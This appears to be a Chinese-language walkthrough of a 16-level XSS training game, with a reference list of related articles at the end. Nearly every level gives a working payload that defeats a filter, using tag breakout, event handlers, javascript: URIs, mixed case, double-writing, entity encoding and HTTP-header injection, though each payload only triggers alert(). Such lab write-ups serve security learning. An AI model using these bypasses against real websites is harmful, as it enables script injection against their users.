第一关

直接在URL输入

?name=<script>alert('xss')</script>

第二关

找源码,输入test,value值变为test,我们可以在输入框尝试xss攻击

闭合前面的input标签,在插入代码

payload

"><script>alert('xss')</script>

第三关

依旧输入test找注入点

输入"><script>alert('xss')</script>

htmlspecialchars()转义成HTML实体

但是htmlspecialchars在默认情况下不会转义单引号,需要设置quotestyle才会进行转义

我们可以从单引号测试 payload

'onclick='window.alert()

第四关

尝试输入<script>alert('xss')</script>

明显的过滤掉了 < >

这里构造payload绕过 < >

"onclick="window.alert('xss')

 第五关

尝试输入<script>alert('xss')</script>

将前面的script变成scr_ipt

用其他语句绕过

输入"onlick="window.alert()

依旧替换 on变成o_n

我们采用JavaScript伪协议

"><a href="javascript:alert('xss')">1</a>

点击 1 成功绕过

第六关

直接测试了一下,过滤了很多,查看源码

我们可以采用大小写混合拼写绕过

"><img Src=x Onerror=alert(1)>

第七关

测试了一下,script跟on等直接没了

推测被替换成空,查看源码

果不其然,替换为空,一般采用双写绕过

"><scrscriptipt>alert('xss')</scrscriptipt>

 第八关

输入tes

查看源码,过滤了很多,双引号也被过滤掉了

这里我们只要输入JavaScript:alert(‘xss’)即可

但是script被替换成scr_ipt

我们可以采用编码的形式绕过

payload

javascript:alert() #HTML实体编码(HEX)
javascript:alert() #HTML实体编码(DEC)

这是实体编码 entity code

「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。

第九关

输入test测试一下,test出现在value值里面

查看源码,比之前多了一串,需要添加http://,否则无效

那么就添加http://

/*这是是注释*/

构造payload

javascri&#x70;t:alert()/*http://www.test.com*/

 第十关

分析源码,keyword跟t_sort两个可以进行get传值,同时t_sort过滤掉了<>,并且t_sort隐藏了

构造payload

?t_sort="onclick="alert()"type="text"

?t_sort=" onclick="alert()" type="text"

第十一关

可以用HTTP头的referer进行注入,这里我们需要burpsuite抓包

payload

t_sort="type="text" onclick="alert(1)

 第十二关

这里是HTTP头中的Uuser-agent进行注入

构造payload

"type="text" onclick="alert(1)

在User-Agent后面跟随payload即可

第十三关

cookie注入

user=" type="text" onclick="alert(1)"

第十四关

PASS

第十五关

ng-include 指令用于包含外部的 HTML 文件

ng-include 属性的值可以是一个表达式,返回一个文件名。

payload

http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

第十六关

转义成HTML实体,黑名单容易忽略过滤的字符

payload

?keyword=<img%0asrc=1%0aonerror=alert()>
%0a %0b %0c %0d (回车换行) 空格绕过



 

XSS小游戏的更多相关文章

  1. xss小游戏通关

    xss url:http://test.ctf8.com/level1.php?name=test 小游戏payload: <script>alert("'test'" ...

  2. XSS----payload,绕过,xss小游戏记录

    一.XSS 1.原理:攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览 这些网页(或触发其他条件),从而执行其中的恶意代码. 1.xss实例代码: test.html <!DOCTYPE h ...

  3. XSS小游戏通关Writeup

    源码下载:https://files.cnblogs.com/files/nul1/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip 我也没啥可 ...

  4. xss小游戏源码分析

    配置 下载地址:https://files.cnblogs.com/files/Lmg66/xssgame-master.zip 使用:下载解压,放到www目录下(phpstudy),http服务下都 ...

  5. xss games20关小游戏附源代码

    1. get方式的的值直接输出来了. ?name=<script>alert(1)</script> 2. 同样没有过滤,不过需要闭合前边的双引号和>. "&g ...

  6. Monyer.cn黑客小游戏

    花了一天的时间,Monyer给大家带来了一个有趣的东东——拥有15个关卡的黑客小游戏. 入口http://monyer.com/game/game1 因为一直以来都是大家跟我一起学习网络技术嘛,所以这 ...

  7. jQuery实践-网页版2048小游戏

    ▓▓▓▓▓▓ 大致介绍 看了一个实现网页版2048小游戏的视频,觉得能做出自己以前喜欢玩的小游戏很有意思便自己动手试了试,真正的验证了这句话-不要以为你以为的就是你以为的,看视频时觉得看懂了,会写了, ...

  8. 拼图小游戏之计算后样式与CSS动画的冲突

    先说结论: 前几天写了几个非常简单的移动端小游戏,其中一个拼图游戏让我郁闷了一段时间.因为要获取每张图片的位置,用`<style>`标签写的样式,直接获取计算后样式再用来交换位置,结果就悲 ...

  9. 推荐10款超级有趣的HTML5小游戏

    HTML5的发展速度比任何人的都想像都要更快.更加强大有效的和专业的解决方案已经被开发......甚至在游戏世界中!这里跟大家分享有10款超级趣味的HTML5游戏,希望大家能够喜欢! Kern Typ ...

随机推荐

  1. 洛谷 P5594 【XR-4】模拟赛

    洛谷 P5594 [XR-4]模拟赛 洛谷传送门 题目描述 X 校正在进行 CSP 前的校内集训. 一共有 nn 名 OIer 参与这次集训,教练为他们精心准备了 mm 套模拟赛题. 然而,每名 OI ...

  2. luoguP3306 [SDOI2013]随机数生成器

    题意 将\(x_1,x_2,x_3...x_n\)写出来可以发现通项为\(a^{i-1}*x_1+b*\sum\limits_{j=0}^{i-2}a^j=a^{i-1}*x_1+b*\frac{1- ...

  3. ESP8266 LUA脚本语言开发: 外设篇-串口

    https://nodemcu.readthedocs.io/en/master/modules/uart/ 串口发送数据 发送一个16进制到串口 uart.write(0, 0xaa) 注: 之所以 ...

  4. Codeforces Round #597 (Div. 2) D. Shichikuji and Power Grid 最小生成树

    D. Shichikuji and Power Grid</centerD.> Shichikuji is the new resident deity of the South Blac ...

  5. leetcode 410. 分割数组的最大值(二分法)

    1. 题目描述 给定一个非负整数数组和一个整数 m,你需要将这个数组分成 m 个非空的连续子数组.设计一个算法使得这 m 个子数组各自和的最大值最小. 注意: 数组长度 n 满足以下条件: 1 ≤ n ...

  6. iOS:获取一周7天的日期(年-月-日-星期)

    一.介绍 在开发中,日期的使用绝对是离不了的,跟业务的关联性太强了,例如课程表.有的时候我们不需要课程表,但是需要获取一周7天的日期,这一周内的日期,我觉得有两种理解: 1.获取当天开始的一周日期,当 ...

  7. Leetcode 542:01 矩阵 01

    Leetcode 542:01 矩阵 01 Matrix### 题目: 给定一个由 0 和 1 组成的矩阵,找出每个元素到最近的 0 的距离. 两个相邻元素间的距离为 1 . Given a matr ...

  8. Map映射如何使用迭代器?

    迭代器只针对集合类型的数据,因此map类型的必须先转换成集合类型才能使用迭代器去获取元素. 1.在map中虽然不能直接实例化迭代器,但map集合提供了keySet()方法和value()方法,可以通过 ...

  9. 使用 PDBDownloader 解决 IDA 加载 ntoskrnl.exe 时符号不完全问题

    解决 IDA 加载 ntoskrnl.exe 时符号不完全问题 1. 问题:IDA加载xp系统的 ntoskrnl.exe 加载不完全. 2. 尝试过但未成功的解决方案: 1)配置好的IDA的 pdb ...

  10. 2019-6-15-WPF-触摸到事件

    原文:2019-6-15-WPF-触摸到事件 title author date CreateTime categories WPF 触摸到事件 lindexi 2019-06-15 08:58:54 ...